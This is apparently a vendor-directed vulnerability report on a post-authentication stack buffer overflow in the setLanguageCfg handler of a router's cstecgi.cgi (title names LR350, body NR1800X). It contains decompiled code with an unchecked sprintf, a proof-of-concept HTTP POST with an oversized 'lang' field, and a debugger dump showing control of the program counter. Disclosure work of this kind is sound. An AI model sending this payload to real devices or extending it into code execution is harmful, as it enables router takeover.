LR350 - bof - setLanguageCfg

Hi, we found a post-authentication stack buffer overflow at **NR1800X** (Firmware version **V9.3.5u.6369_B20220309**), and contact you at the first time.

The bug is in function **setLanguageCfg** of the file **/cgi-bin/cstecgi.cgi** which can control **lang** to attack. The size of **lang** is not checked, and directly copy to stack via **sprintf (at line 17)**

```
1  int __fastcall sub_428238(int a1)
2  {
3    const char *v2; // $s2
4    int v3; // $s0
5    int v4; // $s1
6    const char *v5; // $s0
7    char v7[128]; // [sp+18h] [-80h] BYREF
8
9    memset(v7, 0, sizeof(v7));
10   v2 = (const char *)websGetVar(a1, "lang", "cn");
11   v3 = websGetVar(a1, "langAutoFlag", &word_42F724);
12   nvram_set("preferred_lang", v2);
13   nvram_set("auto_lang", v3);
14   v4 = getJsonConf(0);
15   if ( v4 )
16   {
17     sprintf(v7, "HelpUrl_%s", v2);
```

PoC

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.17.220
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: Cookie=uid=1234
Content-Length: 5
Content-Type: application/x-www-form-urlencoded

{"topicurl": "setLanguageCfg", "lang" :
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa"}

```
pwndbg> c
Continuing.

Thread 2.1 "cstecgi.cgi" received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 V0   0x1
 V1   0x1
 A0   0x1
 A1   0x1
 A2   0x1
 A3   0x0
 T0   0x761368 ◂— 0x4c4f544f ('OTOL')
 T1   0x616c2209 ('\t"la')
 T2   0xfa1
 T3   0x22093a22 ('":\t"')
 T4   0x90a2c22 ('",\n\t')
 T5   0x69747722 ('"wti')
 T6   0x3a22656d ('me":')
 T7   0x22302209 ('\t"0"')
 T8   0x9c
 T9   0x76ff00b8 ◂— lui    $gp, 2
 S0   0x61616161 ('aaaa')
 S1   0x61616161 ('aaaa')
 S2   0x61616161 ('aaaa')
 S3   0x7611a8 ◂— 'setLanguageCfg'
 S4   0x44b000 (set_handle_t) ◂— 'setLanguageCfg'
 S5   0x761008 ◂— 0x6f74227b ('{"to')
 S6   0x761138 ◂— 0x0
 S7   0x77a768b4
 S8   0x77a768b4
 FP   0x7fbfc948 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
 SP   0x7fbfc948 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
 PC   0x61616161 ('aaaa')
───────────────────────────────────────────[ DISASM ]───────────────────────────────────────────
Invalid address 0x61616161
```